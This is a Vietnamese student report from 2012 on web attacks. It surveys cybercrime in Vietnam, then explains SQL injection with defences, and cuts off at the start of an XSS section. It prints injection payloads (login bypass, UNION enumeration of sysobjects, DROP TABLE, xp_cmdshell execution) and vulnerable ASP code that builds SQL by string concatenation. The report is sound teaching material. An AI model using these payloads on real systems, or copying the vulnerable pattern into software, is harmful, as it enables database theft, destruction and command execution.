CÁC LOẠI TẤN CÔNG BUFFER OVERFLOW, SQL INJECTION, CROSSSITE SCRIPTING, URL ATTACK, HIJACKING. Ngày nay, khi Internet được phổ biến rộng rãi ,các tổ chức đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến. Vấn đề nảy sinh là vi phạm ứng dụng của các ứng dụng web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau. Đôi khi cũng chỉ đơn giản là để thử tài hoặc đùa bởn với người khác.
Trang 1HỌC VIỆC CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
Đề tài :
CÁC LOẠI TẤN CÔNG BUFFER OVERFLOW, SQL INJECTION, CROSS-SITE SCRIPTING, URL
ATTACK, HIJACKING
Giảng viên hướng dẫn :
PGS.TSKH Hoàng Đăng Hải
Hà Nội – 11/2012
MỤC LỤC
Trang 21
PHẦN I - THỰC TRẠNG AN NINH MẠNG TẠI VIỆT NAM HIỆN NAY VÀ DỰ BÁO XU HƯỚNG AN NINH MẠNG NĂM 2011 4
1 TÌNH HÌNH PHÁT TRIỂN INTERNET TỚI VIỆT NAM ĐẾN THÁNG 11/2012 4
2 CÁC CUỘC TẤN CÔNG CỦA HACKER VÀ NHỮNG THIỆT HẠI MÀ NÓ GÂY RA HIỆN NAY TẠI VIỆT NAM 5
3 DỰ BÁO XU HƯỚNG AN NINH MẠNG NĂM 2013 7
PHẦN II - MỘT SỐ KỸ THUẬT TẤN CÔNG CỦA HACKER VÀO LỖ HỎNG TRÊN TRANG WEB VÀ BIỆN PHÁP PHÒNG CHỐNG 8
1 TẤN CÔNG CHÈN CÂU TRUY VẤN SQL INJECTION 8
1.1 SQL Injection là gì? 8
1.2 Các dạng tấn công SQL Injection 8
1.3 Cách phòng tránh 12
2 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT CROSS-SITE SCRIPTING 14
2.1Tấn công Cross-Site Scripting 14
2.2 Phương pháp tấn công XSS truyền thống 15
2.3 Cách phòng ngừa 16
3 CHIẾM HỮU PHIÊN LÀM VIỆC (SESSION MANAGEMENT) 17
3.1 Tổng quan về Session ID 17
3.3 Đánh cắp phiên làm việc 19
3.4 Cách phòng ngừa 20
4 TỪ CHỐI DỊCH VỤ (DOS) 20
4.1 Khái niệm tấn công kiểu DoS (Denial of Service) 20
4.2 Các kỹ thuật tấn công 21
5 MỘT SỐ KỸ THUẬT TẤN CÔNG KHÁC 26
5.1 Mã Hóa URL (URL Encoding) 26
5.2 Kiểu tấn công vượt đường dẫn 26
5.3 Tấn công dựa vào ký tự rỗng 27
5.4 Ngôn ngữ phía trình chủ 27
PHẦN IV - TỔNG KẾT CÁC BIỆN PHÁP PHÒNG CHỐNG 29
1 VỚI NHỮNG NHÀ QUẢN TRỊ MẠNG 29
2 VỚI NHỮNG NHÀ THIẾT KẾ ỨNG DỤNG WEB 29
3 VỚI NHỮNG NGƯỜI SỬ DỤNG WEB 31
PHẦN V - KẾT LUẬN 32
1 NHỮNG VẤN ĐỀ ĐẠT ĐƯỢC 32
2 HƯỚNG PHÁT TRIỂN 32
Trang 3MỞ ĐẦU
Ngày nay, khi Internet được phổ biến rộng rãi ,các tổ chức đều có nhu cầu giới thiệu thông tin của mình trên xa lộ thông tin cũng như thực hiện các phiên giao dịch trực tuyến Vấn đề nảy sinh là vi phạm ứng dụng của các ứng dụng web ngày càng mở rộng thì khả năng xuất hiện lỗi và bị tấn công càng cao, trở thành đối tượng cho nhiều người tấn công với các mục đích khác nhau Đôi khi cũng chỉ đơn giản là để thử tài hoặc đùa bởn với người khác
Cùng với sự phát triển không ngừng của Internet và các dịch vụ trên Internet, số lượng dịch vụ tấn công trên Internet cũng tăng theo cấp số nhân Trong khi các phương tiện thông tin đại chúng ngày càng nhắc nhiều đến những khả năng truy cập thông tin của Internet, thì các tài liệu chuyên môn bắt đầu đề cập đến nhiều vấn đề bảo đảm và an toàn dữ liệu cho các máy tính kết nối vào mạng Internet
Vì thế vấn đề bảo đảm và an toàn dữ liệu cho các máy tính được kết nối vào mạng Internet là cần thiết nhằm mục đích bảo vệ dữ liệu, bảo vệ thông tin doanh nghiệp, người dùng và bảo vệ hệ thống
Tuy đã có nhiều cố gắng từ các nhà lập trình Web nhưng vẫn không thể đảm bảo ngăn chặn toàn bộ vì công nghệ Web đang phát triển nhanh chóng (chủ yếu chú trọng đến yếu tố thẩm mỹ, yếu tố tốc độ,…) nên dẫn đến nhiều khuyết điểm mới phát sinh
Sự tấn công không nằm trong một vài khuôn khổ mà linh động và tăng lên tùy vào những sai sót của nhà quản trị hệ thống cũng như của những người lập trình ứng dụng
Vì vậy, đề tài này được thực hiện với mục đích tìm hiểu, phân tích các lỗ hổng bảo mật trong các ứng dụng Web
• Mục tiêu và nhiệm vụ :
- Tìm hiểu các kỹ thuật tấn công ứng dụng Web cơ bản như: XSS, Session, DOS
- Tìm hiểu và nghiên cứu cụ thể kỹ thuật tấn công chèn câu truy vấn SQL Injection và các giải pháp phòng ngừa
• Phương pháp nghiên cứu :
- Tổng hợp tìm hiểu, nghiên cứu từ các tư liệu liên quan
- Phân tích, đánh giá các kỹ thuật tấn công Đưa ra các giải pháp phòng ngừa ở các mức
• Ý nghĩa thực tiễn của đề tài :
- Về mặt lý thuyết, đề tài thể hiện rõ các cách tấn công cơ bản thường được hacker sử dụng để tấn công vào các ứng dụng Web từ trước đến nay, và có thể
sử dụng tiếp trong thời gian dài trong tương lai
- Về mặt thực tiển, với các cách tấn công của hacker như đã tìm hiểu, nghiên cứu trong báo cáo này, nếu áp dụng tốt các phương pháp phòng ngừa trong đề tài nêu ra sẽ góp phần nâng cao khả năng bảo vệ các ứng dụng Web trước nguy cơ tấn công của kẽ xấu
Trang 4PHẦN I - THỰC TRẠNG AN NINH MẠNG TẠI VIỆT NAM HIỆN NAY
VÀ DỰ BÁO XU HƯỚNG AN NINH MẠNG NĂM 2011
1 TÌNH HÌNH PHÁT TRIỂN INTERNET TỚI VIỆT NAM ĐẾN THÁNG 11/2012
Tại Việt Nam, nhiều doanh nghiệp phải đối mặt với việc hình thành và lan tràn nhiều biến thể virut mới, tấn công trên mạng ngày càng nở rộ với mục đích vụ lợi cá nhân cũng như mục đích kinh tế, thậm chí ảnh hưởng đến hoạt động kinh doanh và an ninh quốc gia Các website trong nước liên tiếp bị tấn công với mức độ phức tạp gia tăng mà điển hình là việc báo điện tử Vietnamnet bị tấn công nhiều lần và đánh sập vào ngày 22/11/2010 Hình thức lừa đảo trực tuyến các email bằng tiếng việt đã bắt đầu xuất hiện và phát tán rộng…đã đặt ra yêu cầu đối với sự nhận thức đúng đắn về mức độ cấp thiết, tối quan trọng của an ninh mạng, bảo mật thông tin
Mạng Internet Việt Nam còn tiềm ẩn rất nhiều những nguy cơ về mặt an ninh an toàn thông tin Hàng loạt website lớn bị tấn công với mức độ phức tạp ngày càng gia tăng Rất nhiều các website của các tổ chức, doanh nghiệp còn tồn tại các lỗ hổng an toàn thông tin Nhiều lỗ hổng an toàn thông tin mới được phát hiện Tội phạm mạng đang diễn ra với tốc độ nhanh hơn, quy mô hơn, tính chuyên nghiệp, trình độ kỹ thuật ngày càng cao hơn
Số lượng các cuộc tấn công web tăng gấp đôi:
- Trong 3 tháng đầu năm 2010 đã có hơn 300 website của các cá nhân và tổ chức
có tên miền vn bị các hacker nước ngoài thăm dò, tấn công
- Tính đến cuối quý I/2011, số người sử dụng Internet tại Việt Nam đạt 27.559.006 người, chiểm 31,9 % dân số; số thuê bao internet trên cả nước ước tính đạt 3,8 triệu thuê bao Đa số các doanh nghiệp và các tổ chức có hệ thống mạng và website giới thiệu, quảng bá thương hiệu (191.667 tên miền vn
và hàng triệu tên miền thương mại) Có rất nhiều doanh nghiệp đã ứng dụng thanh toán trực tuyến vào công việc kinh doanh, giao dịch,…
- Các website bị tấn công chủ yếu là các website kinh doanh trực tuyến, ngân hàng, các tổ chức cung cấp dịch vụ ,…( Nguyên nhân: chủ yếu là sự yếu kém trong quản trị website và không thường xuyên kiểm soát lỗ hổng, ít quan tâm đếncác cảnh báo an ninh của các cơ quan, tổ chức có chức năng đảm bảo an ninh an toàn thông tin quốc gia
Rất nhiều website trong nước tồn tại các lỗ hổng an toàn thông tin ở mức độ nguy
hiểm cao Đa số các trang web lớn của Việt Nam đều có lỗ hổng bảo mật và có thể bị
chiếm quyền điều khiển Hiện nay, trên mạng Internet Việt Nam có đến 90% các website được xây dựng trên công nghệ ASP.NET và sử dụng dịch vụ IIS 6.0, đây là lỗ hổng lớn nhất và vẫn chưa được khắc phục Trong năm 2010 đã ghi nhận hơn 1000 website ở nước ta bị tấn công từ các lỗ hổng đang tồn tại trên các website và các lỗ hổng trên các máy chủ hệ thống Các website của các tổ chức tài chính, ngân hàng, chứng khoán vẫn tồn tại rất nhiều lỗ hổng
Các hành vi phạm tội vẫn là:
Trang 5- Dùng thủ đoạn Phishing, trojan horse, spyware để lấy cắp địa chỉ email, thông tin thẻ tín dụng và thông tin cá nhân như tên, địa chỉ,số điện thoại, số thẻ an ninh xã hội, thông tin giấy phép lái xe…
- Mua bán thông tin thẻ tín dụng trên mạng internet
- Trộm cắp tiền từ thẻ tín dụng và tài khoản, làm thẻ tín dụng giả rút tiền từ máy ATM
- Rửa tiền: chuyển tiền từ tài khoản trộm cắp được sang tài khoản money tại gold, e-passport
e Lừa đảo qua quảng cáo, bán hàng trực tuyến trên mạng internet, trong hoạt động thương mại điện tử,trong mua bán ngoại tệ,cổ phiếu qua mạng, đánh bạc
và rửa tiền, thực hiện hành vi trốn thuế
- Buôn bán ma túy, mại dâm qua mạng internet, truyền bá khiêu dâm trên mạng, thực hiện các hoạt động khủng bố, phá hoại,
2 CÁC CUỘC TẤN CÔNG CỦA HACKER VÀ NHỮNG THIỆT HẠI MÀ NÓ GÂY RA HIỆN NAY TẠI VIỆT NAM
Trong vài năm trở lại đây, khủng hoảng kinh tế nên bọn tội phạm vẫn nhằm vào các hệ thống Công Nghệ Thông Tin của lĩnh vực tài chính ngân hàng, với mục tiêu kiếm được nhiều tiền hơn, nên chúng có xu hướng hoàn thiện kỹ thuật tấn công để tấn công các mục tiêu này và chúng đã thành công ở một số hệ thống
Trong năm 2009, chỉ tính riêng hơn 40 vụ án công nghệ cao bị phanh phui, thiệt hại mà loại tội phạm này gây ra đã lên đến hàng ngàn tỉ đồng
Thiệt hại do lộ thông tin bí mật của các doanh nghiệp, tổ chức không có thể ước tính được Các cơ quan chức năng đã phối hợp điều tra,truy tố xét xử một số vụ tấn công nghiêm trọng
Vụ 2 đối tượng người Malaysia là Cham Tack Choi và Tan Wei Hong sử dụng thẻ tín dụng Visa, Master giả để thanh toán tại khách sạn Metropol (thanh toán số tiền hơn
500 triệu đồng) Ngày 8/01/2009, TAND Hà Nội đã tuyên phạt Cham Tack Choi (SN 1984) và Tan Wei Hong (SN 1981), quốc tịch Malaysia mỗi người 7 năm tù giamvề tội Trộm cắp tài sản
Tháng 10/2009: Vụ Nguyen Hoawrd quốc tịch Mỹ, ArialFradin quốc tịch Canada vào Việt Nam đi du lịch đã dùng thẻ AMEX hết hạn, báo mất, khóa giao dịch ở ngân hàng phát hành rút tiền tại các máy ATM để chiếm đoạt Nguyen Howard và đồng bọn
đã rút 1,4 tỷ đồng, Arial Fardin đã rút 800 triệu Điều tra, khám phá những vụ án TPCNC
Vụ Công ty Golden Rock: Trưởng Văn phòng đại diện của Công ty này tại mạng năm 2010 vẫn tiếp tục nóng bỏng, xuất hiện việc các cá nhân, tổ chức thuê hăcker điều hành mạng máy tính “Ma” để tấn công nhằm phá hủy hệ thống Công Nghệ Thông Tin của đối thủ cạnh tranh
Và vụ mới đây nhất, Ngày 22/11/2010 là ngày đầu tiên hacker bắt đầu tấn công vào hệ thống website của báo Vietnamnet Đây là cuộc tấn công với quy mô lớn, liên tục và kéo dài Nó đã phá hủy hầu như gần hết cơ sở dữ liệu đã lưu trữ 10 năm của báo VietNamNet
Trang 6Hình 2.1 Giao diện báo điện tử VietNamNet bị tấn công
Lỗ hổng an ninh của các hệ thống ngày càng được phát hiện nhiều hơn Số lượng các điểm yếu an ninh trong năm 2010 là 4.300 (năm 2009 là 3.500) có tới 30% lỗ hổng có mức độ nguy hiểm cao Gần một nửa (49%) số lỗ hổng an ninh vẫn chưa có các bản vá do nhà cung cấp dịch vụ phát hành Lỗ hổng liên quan đến phần mềm Adobe Acrobat PDF được phát hiện nhiều nhất Ở nước ta vấn đề lỗ hổng của hệ thống, ứng dụng vẫn chưa được các quản trị hệ thống cập nhật các bản vá kịp thời.Thực trạng tấn công vào các website của hacker không mới so với những năm trước tuy nhiên đến nay các website tại Việt Nam vẫn chưa được đầu tư về nhân lực, kinh phí để được bảo vệ một cách tốt nhất Nguyên nhân chủ yếu là sự yếu kém trong quản trị website và không thường xuyên kiểm soát lỗ hổng, khoán trắng vấn đề bảo đảm ATTT cho nơi đặt website, ít quan tâm đến các cảnh báo an ninh của các cơ quan, tổ chức có chức năng đảm bảo an ninh an toàn thông tin quốc gia
Tại Việt Nam, năm 2010, đã có gần 60 triệu lượt máy tính bị nhiễm virus Trung bình một ngày có hơn 160.000 lượt máy tính bị nhiễm virus Đây là con số đáng báo động về tình hình máy tính bị nhiễm virus nước ta Đã có hơn 57.000 dòng virus mới xuất hiện Virus lây lan nhiều nhất qua các máy tính vẫn là virus Conficker Trong năm
2010, đã có tới 6,5 triệu lượt máy tính bị nhiễm loại virus này Có hơn 1,4 triệu lượt máy tính đã bị nhiễm dòng virus giả mạo thư mục, giả mạo file ảnh, file word, excel Các virus siêu đa hình tiếp tục đứng trong top 3 những virus lây nhiễm nhiều nhất trong năm và là nỗi ám ảnh với người sử dụng máy tính tại Việt Nam Với khả năng “thay hình đổi dạng” để lẩn trốn, 2 dòng virus Vetor và Sality đã lan truyền trên 5,9 triệu lượt máy tính
Có thể nói, chính sự chủ quan, hạn chế trong nhận thức, thiếu hụt về đầu tư an ninh thông tin (ANTT) của các doanh nghiệp, người sử dụng đã tạo tiền đề cho sự gia tăng các mối đe dọa và nguy cơ bảo mật Vấn đề ANTT có tầm quan trọng sống còn đối với các doanh nghiệp, đặc biệt khi các giao dịch trực tuyến đã trở nên ngày càng
Trang 7phổ biến hơn tại Việt Nam Lời khuyên của tôi là không nên cắt giảm ngân sách cho
an ninh bảo mật mà thay vì đó cần phải đầu tư vào đó một cách khôn ngoan hơn
3 DỰ BÁO XU HƯỚNG AN NINH MẠNG NĂM 2013
An ninh mạng năm 2011 vẫn tiếp tục nóng bỏng, xuất hiện việc các cá nhân, tổ chức thuê hacker điều hành mạng máy tính “Ma” để tấn công nhằm phá hủy hệ thống CNTT của đối thủ cạnh tranh
•Kỹ thuật tấn công tinh vi hơn, hoàn hảohơn; mã độc ngày càng “độc” hơn… sẽ tiếp tục đặ tra những thách đố mới cho năm 2010
•Kinh tế càng khủng hoảng, tin tặc càng tìm cách xoay sở kiếm tiền, hoạt động cuả gới tội phậm công nghệ cao sẽ tinh vi hơn, thủ đoạn hơn để làm sao kiếm được nhiều tiền
•Mạng xã hội (Twiter, spacebook, ) đang phát triển mạnh mẽ không chỉ là trào lưu nhất thời, đã trở thành một nền tảng mới rất hiệu quả giúp con người giao tiếp, liên lạcvới nhau Đây chính là một môi trường thuậnlợi để giới tội phạm công nghệ cao thử nghiệm các thủ đoạn, kỹ thuật tấn công đe dọa an ninh mạng
•Tiếp tục xuất hiện nhiều chương trình diệt virus giả
•Hình thành nhiều mạng máy tính Ma (bootnet) được điều khiển bởi các hăcker
có chuyên môn cao, có nguy cơ xuất hiện các cuộc chiến lớn trên mạng (chiến tranh mạng)
•Điện toán đám mây sẽ là đích nhắm mới của giới tội phạm, đặc biệt là khi mạng 3G bắt đầu được đưa vào hoạt động tại ViệtNam
•Việc sử dụng thiết bị di động không dây Apple có dấu hiệu bùng nổ tại Việt Nam, trong khi đó Apple chưa có giải pháp đảm bảo an toàn cho các dịch vụ của thiết bị này, do vậy Apple có thể sẽ là một mục tiêu quan tâm mới của giới tội phạm mạng
•Virus đa hình và Thư rác tin nhắn tức thời (IM) ngày càng phức tạp
Rootkit là một bộ công cụ phần mềm do kẻ xâm nhập đưa vào máy tính nhằm mục đích cho phép mình quay lại xâm nhập máy tính đó và dùng nó cho các mục đích xấu
mà không bị phát hiện Đây sẽ là một xu hướng mới khi đã trở thành công cụ “đại chúng hóa” chứ không còn là “đặc quyền” của một số tin tặc “biết nghề” như trước Các dòng virus siêu đa hình sẽ kết hợp nhiều kỹ thuật mới để tạo ra những sự lây lan dai dẳng kéo dài trong nhiều năm
Cùng sự phổ biến của Windows 7 với khả năng đảm bảo an ninh cao và mọi quyết định thực thi quan trọng trên máy tính sẽ thuộc về người sử dụng, xu hướng virus đánh lừa người sử dụng bằng cảm quan sẽ phát triển mạnh Trường hợp các virus giả mạo file dữ liệu (Fake icon) là những biểu hiện đầu tiên và xu hướng này sẽ tiếp tục trong năm 2011
Sẽ có nhiều cuộc tấn công, lừa đảo trên điện thoại di động trong năm 2011 Có thể
sẽ ghi nhận những cuộc phát tán mã độc đầu tiên trên điện thoại di động, với hình thức tấn công chủ yếu dưới dạng các trojan, ẩn náu và ăn cắp thông tin cá nhân
Trang 8PHẦN II - MỘT SỐ KỸ THUẬT TẤN CÔNG CỦA HACKER VÀO LỖ HỎNG TRÊN TRANG WEB VÀ BIỆN PHÁP PHÒNG CHỐNG
1 TẤN CÔNG CHÈN CÂU TRUY VẤN SQL INJECTION
1.1 SQL Injection là gì?
Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng việc đảm bảo an toàn, bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào các vấn đề như chọn hệ điều hành, hệ quản trị cơ sỡ giữ liệu, webserver sẽ chạy ứng dụng… mà quên mất rằng ngay cả bản thân ứng dụng chạy trên
đó cũng tiềm ẩn một lổ hổng bảo mật rất lớn Một trong số các lổ hổng này đó là SQL injection Tại Việt Nam, đã qua thời kì các quản trị website lơ là việc quét virus, cập nhật các bản vá lỗi từ các phần mềm hệ thống, nhưng việc chăm sóc các lỗi của các ứng dụng lại rất ít được quan tâm Đó là lý do tại sao trong thời gian vừa qua, không ít website tại Việt Nam bị tấn công và đa số đều là lỗi SQL injection Vậy SQL injection
hệ quản trị cơ sở dữ liệu như SQL Server, MySQL, Oracle, DB2, Sysbase
1.2 Các dạng tấn công SQL Injection
Có bốn dạng thông thường bao gồm : vượt qua kiểm tra lúc đăng nhập (authorization bypass), sử dụng câu lệnh SELECT, sử dụng câu lệnh INSERT, sử dụng các stored-procedures [2],[3]…
a Dạng tấn công vượt qua kiểm tra đăng nhập
Với dạng tấn công này tin tặc có thể dễ dàng vượt qua các trang đăng nhập nhờ vào lỗi khi dùng các câu lệnh SQL thao tác trên cơ sở dữ liệu của ứng dụng web
Xét ví dụ điển hình, thông thường để cho phép người dùng truy cập vào các trang web được bảo mật, hệ thống thường xây dựng trang đăng nhập để yêu cầu người dùng nhập thông tin về tên đăng nhập và mật khẩu Sau khi người dùng nhập thông tin vào,
hệ thống sẽ kiểm tra tên đăng nhập và mật khẩu có hợp lệ hay không để quyết định cho phép hay từ chối thực hiện tiếp
Trong trường hợp này người ta có thể dùng hai trang, một trang HTML để hiển thị form nhập liệu và một trang ASP dùng để xử lý thông tin nhập từ phía người dùng Ví dụ:
login.htm
<form action="ExecLogin.asp" method="post">
Username: <input type="text" name="fUSRNAME"><br>
Password: <input type="password" name="fPASSWORD"><br>
Trang 9strSQL = "SELECT * FROM T_USERS " & _
"WHERE USR_NAME=' " & vUsrName & _
" ' and USR_PASSWORD=' " & vPassword & " ' "
Set objRS = Server.CreateObject("ADODB.Recordset")
Thoạt nhìn, đoạn mã trong trang execlogin.asp dường như không chứa bất cứ một
lổ hổng về an toàn nào Người dùng không thể đăng nhập mà không có tên đăng nhập
và mật khầu hợp lệ Tuy nhiên đoạn mã này thực sự không an toàn và là tiền đề cho một lỗi SQL injection Đặc biệt chổ sơ hở nằm ở chổ dữ liệu nhập vào từ người dùng
để dùng để xây dựng trực tiếp câu lệnh SQL Chính điều này cho phép những kẻ tấn công có thể điều khiển câu truy vấn sẽ được thực hiện Ví dụ, nếu người dùng nhập chuổi sau vào trong 2 ô nhập liệu username/password của trang login.htm là: ‘OR’ ’=
’ Lúc này, câu truy vấn sẽ được gọi thực hiện là:SELECT*FROM T_USERS WHERE USR_NAME=”OR”=”and USR_PASSWORD=”OR”=”
Câu truy vấn này hợp lệ và sẽ trả về tất cả các bản ghi T_USERS và đoạn mã tiếp theo xử lý người dùng đăng nhập bất hợp pháp này như là người dùng đăng nhập hợp lệ
b Dạng tấn công sử dụng câu lệnh SELECT
Dạng tấn công này phức tạp hơn Để thực hiện được kiểu tấn công này, kẻ tấn công phải có khả năng hiểu và lợi dụng các sơ hở trong các thông báo lỗi từ hệ thống
để dò tìm các điểm yếu khởi đầu cho cuộc tấn công
Xét ví dụ rất thường gặp trong các website về tin tức Thông thường, sẽ có một trang nhận ID của tin cần hiển thị rồi sau đó truy vấn nội dung của tin có ID này Ví dụ: http://www.myhost.com/shownews.asp?ID=123 Mã nguồn cho chức năng này thường được viết khá đơn giản theo dạng
Trang 10<%
Dim vNewsID, objRS, strSQL
vNewsID = Request("ID")
strSQL = "SELECT * FROM T_NEWS WHERE NEWS_ID =" & vNewsID
Set objRS = Server.CreateObject("ADODB.Recordset")
Ví dụ như : 0 OR 1=1 (nghĩa là, http://www.myhost.com/shownews.asp? ID=0 or 1=1)
Câu truy vấn SQL lúc này sẽ trả về tất cả các article từ bảng dử liệu vì nó sẽ thực hiện câu lệnh: SELECT*FROM T_NEWS WHERE NEWS_ID=0 or 1=1
Một trường hợp khác , ví dụ như trang tìm kiếm Trang này cho phép người dùng nhập vào các thông tin tìm kiếm như Họ, Tên,…Đoạn mã thường gặp là:
Trang 11Tất nhiên là các ví dụ nói trên, dường như không có gì nguy hiểm, nhưng hãy thử tưởng tượng kẻ tấn công có thể xóa toàn bộ cơ sở dữ liệu bằng cách chèn vào các đoạn lệnh nguy hiểm như DROP TABLE Ví dụ như :’DROP TABLE_AUTHORS-’
Làm sao biết được ứng dụng web bị lỗi dạng này được Rất đơn giản, hãy nhập vào chuỗi (*) như trên, nếu hệ thống báo lỗi về cú pháp dạng : Invalid object name” OtherTable”; ta có thể biết chắc là hệ thống đã thực hiện câu SELECT sau từ khóa UNION, vì như vậy mới có thể trả về lỗi mà ta đã cố tình tạo ra trong câu lệnh SELECT
Cũng sẽ có thắc mắc là làm thế nào có thể biết được tên của các bảng dữ liệu mà thực hiện các thao tác phá hoại khi ứng dụng web bị lỗi SQL injection Cũng rất đơn giản, bởi vì trong SQL Server, có hai đối tượng là sysobjects và syscolumns cho phép liệt kê tất các tên bảng và cột có trong hệ thống Ta chỉ cần chỉnh lại câu lệnh SELECT, ví dụ như :
‘UNION SELECT name FROM sysobjects WHERE xtype=’U’ là có thể liệt kê được tất cả các bảng dữ liệu
c Dạng tấn công sử dụng câu lệnh INSERT
Thông thường các ứng dụng web cho phép người dùng đăng kí một tài khoản để tham gia Chức năng không thể thiếu là sau khi đăng kí thành công, người dùng có thể xem và hiệu chỉnh thông tin của mình SQL injection có thể được dùng khi hệ thống không kiểm tra tính hợp lệ cảu thông tin nhập vào
Ví dụ, một câu lệnh INSERT có thể có cú pháp dạng: INSERT INTO TableName VALUES(‘Value One’,’Value Two’,’Value Three’) Nếu đoạn mã xây dựng SQL có dạng :
<%
strSQL = "INSERT INTO TableName VALUES(' " & strValueOne & " ', ' " _
& strValueTwo & " ', ' " & strValueThree & " ') "
Set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, "DSN= "
Set objRS = Nothing
%>
Thì chắc chắn sẽ bị lỗi SQL injection, bởi vì chúng ta nhập vào trường thứ nhất ví
dụ như: ‘+(SELECT TOP 1 FieldName FROM TableName)+’ Lúc này câu truy vấn
sẽ là: INSERT INTO TableName VALUES(‘ ’+( SELECT TOP 1 FieldName FROM TableName)+’ ’,’abc’,’def’) Khi đó, lúc thực hiện lệnh xem thông tin, xem như bạn
đã yêu cầu thực hiện thêm một câu lệnh nữa đó là: SELECT TOP 1 FieldName FROM TableName
d Dạng tấn công sử dụng stored-procedures
Việc tấn công bằng stored-procedures sẽ gây tác hại rất lớn nếu ứng dụng được thực thi với quyền quản trị hệ thống ‘sa’ Ví dụ, nếu ta thay đoạn mã tiêm vào dạng: ‘; EXEC xp_cmdshell’cmd.exe dir C:’ Lúc này hệ thống sẽ thực hiện lệnh liệt kê như mục trên ở ổ đĩa C:\cài đặt server Việc phá hoại kiểu nào tùy thuộc vào câu lệnh đằng sau cmd.exe
Trang 12Kiểm tra kĩ dữ liệu nhập vào thay thế những kí tự như :
- Đối với các giá trị numeric, hãy chuyển nó sang Interger trước khi thực hiện câu truy vấn SQL, hoặc dùng ISNUMERIC để chắc chắn nó là một Interger
- Dùng thuật toán mã hóa dữ liệu
- Như vậy, có thể thấy lỗi SQL injection khai thác những bất cẩn của các lập trình viên phát triển ứng dụng web khi xữ lí các dữ liệu nhập vào để xây dựng câu lệnh SQL Tác hại từ lỗi SQL injection tùy thuộc vào môi trường và cách cấu hình hệ thống Nếu ứng dụng sử dụng quyền dbo(quyền của người sở hữu
cơ sỡ dữ liệu - owner) khi thao tác dữ liệu, nó có thể xóa toàn bộ các bảng dữ liệu, tạo các bảng dữ liệu mới,…Nếu ứng dụng sử dụng quyền sa(quyền quản trị hệ thống), nó có thể điều khiển toàn bộ hệ quản trị cơ sỡ dữ liệu và với quyền hạn rộng lớn như vậy nó có thể tạo ra các tài khoản người dùng bất hợp pháp để điều khiển hệ thống của bạn Để phòng tránh, ta có thể thực hiện ở hai mức
a Kiểm soát chặt chẽ dữ liệu nhập vào
Kiểm tra tính đúng đắn của dữ liệu là một vấn đề phức tạp và thường chưa được quan tâm đúng mức trong các ứng dụng Khuynh hướng của việc kiểm tra tính đúng đắn của dữ liệu không phải là chỉ cần thêm một số chức năng vào ứng dụng, mà phải kiểm tra một cách tổng nhanh chống để đạt được mục đích
Có ba giải pháp tiếp cận vấn đề này:
- Cố gắng kiểm tra và chỉnh sửa để làm cho dữ liệu hợp lệ
- Loại bỏ những dữ liện bát hợp lệ
- Chỉ chấp nhận những dữ liệu hợp lệ
Để phòng tránh nguy cơ có thể xảy ra, hãy bảo vệ các câu lệnh SQL là bằng cách kiểm soát chặt chẽ tất các dữ liệu nhập nhận được từ đối tượng Request (Request, Request QueryString, Request.Form, Request.Cookies,and Request.ServerVariables)
Ví dụ: có thể giới hạn chiều dài của chuổi nhập liệu, hoặc xây dựng hàm Escape Quotes để thay thế các dấu nháy đơn bằng hai dấu nháy đơn như:
Trang 13Trong trường hợp dữ liệu nhập vào là số, lỗi xuất phát từ việc thay thế một giá trị được tiên đoán là dữ liệu số bằng chuỗi chứa câu lệnh SQL bất hợp pháp Để tránh điều này, đơn giản hãy kiểm tra dữ liệu có đúng hay không bằng hàm IsNumeric().Ngoài ra có thể xây dựng hàm loại bỏ một số kí tự và từ khóa nguy hiểm như: ;, , select, insert, xp_,…ra khỏi chuổi dữ liệu nhập từ phía người dùng để hạn chế các tấn công dạng này:
b Thiết lập cấu hình an toàn cho hệ quản trị cơ sở dữ liệu
Cần có cơ chế kiểm soát chặt chẽ và giới hạn quyền xữ lí dữ liệu đến tài khoản người dùng mà ứng dụng web dang sử dụng Các ứng dụng thông thường nên tránh dùng đến các quyền như dbo hay sa Quyền càng bị hạn chế, thiệt hại càng ít
Ngoài ra để tránh các nguy cơ từ SQL Injection attack, nên chú ý loại bỏ bất kì thông tin kỹ thuật nào chứa trong thông điệp chuyển xuống cho người dùng khi ứng dụng có lỗi Các thông báo lỗi thông thường tiết lệ các chi tiết kỉ thuật có thể cho phép
kẻ tấn công biết được điểm yếu của hệ thống
Xác định các phương pháp kết nối server :
- Dùng tiện ích Network Utility để kiểm tra rằng chỉ có các thư viện mạng đang
là hoạt động
- Kiểm tra tất cả các tài khoản trong SQL server
- Chỉ tạo tài khoản có quyền thấp cho các ứng dụng
- Loại bỏ những tài khoản không cần thiết
- Đảm bảo rằng tất cả các tài khoản co một mật khẩu hợp lệ
- Kiểm tra các đối tượng tồn tại
Trang 14- Nhiều extended stored procedure có thể được xóa bỏ một cách an toàn Nếu điều này được thực hiện, thì cũng xem xét việc loại bỏ luôn những tập tin Dll chứa mã của extended stored procedure.
- Xóa bỏ tất cả dữ liệu mẫu như “northwind” và “pubs”
- Xóa các stored procedure không dùng như: master…xp_cmdsell, xp_startmail, xp_makewebtask
- Kiểm tra những tài khoản nào có thể truy xuất đến những đối tượng nào
- Đối với những tài khoản của một ứng dụng nào đó dùng để truy xuất cơ sở dữ liệu thì chỉ được cấp những quyền hạn cần thiết tối thiểu để truy xuất đến những đối tượng nó cần dung
2 CHÈN MÃ LỆNH THỰC THI TRÊN TRÌNH DUYỆT CROSS-SITE SCRIPTING
2.1Tấn công Cross-Site Scripting
Cross-Site Scripting (XSS) là một trong những kỹ thuật tấn công phổ biến, nó cũng
là một trong những vấn đề bảo mật quan trọng đối với các nhà phát triển Web và cả những người sử dụng Web Bất kì một Website nào cho phép người sử dụng đăng thông tin mà không có sự kiểm tra chặt chẽ các đoạn mã nguy hiểm thì đều có thể tiềm
ẩn các lỗi XSS
